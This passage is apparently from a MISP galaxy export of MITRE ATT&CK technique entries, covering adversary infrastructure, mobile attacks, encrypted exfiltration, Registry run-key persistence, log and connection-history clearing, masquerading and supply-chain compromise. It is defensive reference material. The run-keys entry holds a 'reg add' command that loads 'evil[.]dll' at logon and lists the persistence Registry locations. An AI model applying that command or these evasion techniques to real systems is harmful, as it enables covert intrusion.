The tag is: *misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330"*

Table 7928. Table References

Links
https://attack.mitre.org/techniques/T1330

Acquire and/or use 3rd party infrastructure services - T1307

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1307).

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307"*

Table 7929. Table References

Links
https://attack.mitre.org/techniques/T1307

Acquire and/or use 3rd party software services - T1308

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1308).

A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1308"*

Table 7930. Table References

Links
https://attack.mitre.org/techniques/T1308

Test signature detection for file upload/email filters - T1361

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1361).

An adversary can test their planned method of attack against existing security products such as

email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)

The tag is: *misp-galaxy:mitre-attack-pattern="Test signature detection for file upload/email filters - T1361"*

Table 7931. Table References

Links
https://attack.mitre.org/techniques/T1361

Acquire and/or use 3rd party infrastructure services - T1329

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1329).

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329"*

Table 7932. Table References

Links
https://attack.mitre.org/techniques/T1329
https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf

Acquire or compromise 3rd party signing certificates - T1310

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1310).

Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1310"*

Table 7933. Table References

Links
https://attack.mitre.org/techniques/T1310

Compromise 3rd party infrastructure to support delivery - T1312

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1312).

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312"*

Table 7934. Table References

Links
https://attack.mitre.org/techniques/T1312

Acquire or compromise 3rd party signing certificates - T1332

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1332).

Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1332"*

Table 7935. Table References

Links
https://attack.mitre.org/techniques/T1332
https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/

Compromise 3rd party infrastructure to support delivery - T1334

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1334).

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334"*

Table 7936. Table References

Links
https://attack.mitre.org/techniques/T1334

Human performs requested action of physical nature - T1385

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)

The tag is: *misp-galaxy:mitre-attack-pattern="Human performs requested action of physical nature - T1385"*

Table 7937. Table References

Links
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1385

Abuse of iOS Enterprise App Signing Key - T1445

An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).

Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.

Platforms: iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse of iOS Enterprise App Signing Key - T1445"*

Table 7938. Table References

Links
https://attack.mitre.org/techniques/T1445

Deliver Malicious App via Authorized App Store - T1475

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.

App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:

- [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407)
- [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406)

Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)

Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)

Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)

The tag is: *misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475"*

Table 7939. Table References

Links
http://dl.acm.org/citation.cfm?id=2592796
http://www.vvdveen.com/publications/BAndroid.pdf

https://attack.mitre.org/techniques/T1475
https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/
https://jon.oberheide.org/files/summercon12-bouncer.pdf
https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html
https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei

Device Unlock Code Guessing or Brute Force - T1459

An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Device Unlock Code Guessing or Brute Force - T1459"*

Table 7940. Table References

Links
https://attack.mitre.org/techniques/T1459

Assign KITs, KIQs, and/or intelligence requirements - T1238

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1238).

Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)

The tag is: *misp-galaxy:mitre-attack-pattern="Assign KITs, KIQs, and/or intelligence requirements - T1238"*

Table 7941. Table References

Links
https://attack.mitre.org/techniques/T1238

Assess current holdings, needs, and wants - T1236

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1236).

Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess current holdings, needs, and wants - T1236"*

Table 7942. Table References

Links
https://attack.mitre.org/techniques/T1236

Submit KITs, KIQs, and intelligence requirements - T1237

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1237).

Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)

The tag is: *misp-galaxy:mitre-attack-pattern="Submit KITs, KIQs, and intelligence requirements - T1237"*

Table 7943. Table References

Links
https://attack.mitre.org/techniques/T1237

Common, high volume protocols and software - T1321

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1321).

Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more

common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)

The tag is: *misp-galaxy:mitre-attack-pattern="Common, high volume protocols and software - T1321"*

Table 7944. Table References

Links
https://attack.mitre.org/techniques/T1321

Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001

Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.

Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001"*

Table 7945. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1048/001

Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity.

The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002"*

Table 7946. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1048/002

Non-traditional or less attributable payment options - T1316

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1316).

Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)

The tag is: *misp-galaxy:mitre-attack-pattern="Non-traditional or less attributable payment options - T1316"*

Table 7947. Table References

Links
https://attack.mitre.org/techniques/T1316

Choose pre-compromised persona and affiliated accounts - T1343

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1343).

For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)

The tag is: *misp-galaxy:mitre-attack-pattern="Choose pre-compromised persona and affiliated accounts - T1343"*

Table 7948. Table References

Links
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1343

Malicious or Vulnerable Built-in Device Functionality - T1473

The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious or Vulnerable Built-in Device Functionality - T1473"*

Table 7949. Table References

Links
https://attack.mitre.org/techniques/T1473

Identify vulnerabilities in third-party software libraries - T1389

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1389).

Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify vulnerabilities in third-party software libraries - T1389"*

Table 7950. Table References

Links
https://attack.mitre.org/techniques/T1389

Registry Run Keys / Startup Folder - T1547.001

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems:

- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>
- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.

The following Registry keys can be used to set startup folder items for persistence:

- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
- <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
- <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

The following Registry keys can control automatic startup of services during boot:

- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</

code>

- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run automatically for the currently logged-on user.

By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"*

Table 7951. Table References

Links
https://attack.mitre.org/techniques/T1547/001
https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
https://technet.microsoft.com/en-us/sysinternals/bb963902

Clear Linux or Mac System Logs - T1070.002

Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by

their related functions, such as:(Citation: Linux Logs)

- <code>/var/log/messages:</code>: General and system-related messages
- <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs
- <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records
- <code>/var/log/kern.log</code>: Kernel logs
- <code>/var/log/cron.log</code>: Crond logs
- <code>/var/log/maillog</code>: Mail server logs
- <code>/var/log/httpd/</code>: Web server access and error logs

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002"*

Table 7952. Table References

Links
https://attack.mitre.org/techniques/T1070/002
https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/

Clear Network Connection History and Configurations - T1070.007

Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.

Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):

- <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers</code>

Windows may also store information about recent RDP connections in files such as <code>C:\Users\\%username%\Documents\Default.rdp</code> and `C:\Users\%username%\AppData\Local\Microsoft\Terminal Server Client\Cache\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)

Malicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090).

Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Network Connection History and Configurations - T1070.007"*

Table 7953. Table References

Links
https://attack.mitre.org/techniques/T1070/007
https://discussions.apple.com/thread/3991574
https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer
https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html
https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf

Match Legitimate Resource Name or Location - T1036.005

Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation.

This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.(Citation: Aquasec Kubernetes Backdoor 2023)

The tag is: *misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005"*

Table 7954. Table References

Links
https://attack.mitre.org/techniques/T1036/005
https://docs.docker.com/engine/reference/commandline/images/
https://www.aquasec.com/blog/leveraging-kubernetes-rbac-to-backdoor-clusters/
https://www.elastic.co/blog/how-hunt-masquerade-ball
https://x.com/ItsReallyNick/status/1055321652777619457

Compromise Software Dependencies and Development Tools - T1195.001

Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ "typosquatting" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo)

Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023)

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001"*

Table 7955. Table References

Links
https://attack.mitre.org/techniques/T1195/001
https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/
https://checkmarx.com/zero-post/python-pypi-supply-chain-attack-colorama/
https://cyberpress.org/malicious-npm-and-pypi-packages-disguised-as-dev-tools
https://hackread.com/backdoors-python-npm-packages-windows-linux/
https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution
https://thehackernews.com/2024/09/hackers-hijack-22000-removed-pypi.html
https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack

https://www.bitdefender.com/en-gb/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack
https://www.paloaltonetworks.com/blog/cloud-security/github-actions-worm-dependencies/
https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets

Windows File and Directory Permissions Modification - T1222.001

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)

Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).

The tag is: *misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001"*

Table 7956. Table References

Links
https://attack.mitre.org/techniques/T1222/001
https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces
https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/

https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100

Compromise Software Dependencies and Development Tools - T1474.001

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Grace-Advertisement)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1474.001"*

Table 7957. Table References

Links
https://attack.mitre.org/techniques/T1474/001
https://dl.acm.org/doi/10.1145/2185448.2185464
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html

Path Interception by PATH Environment Variable - T1574.007

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.

Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.

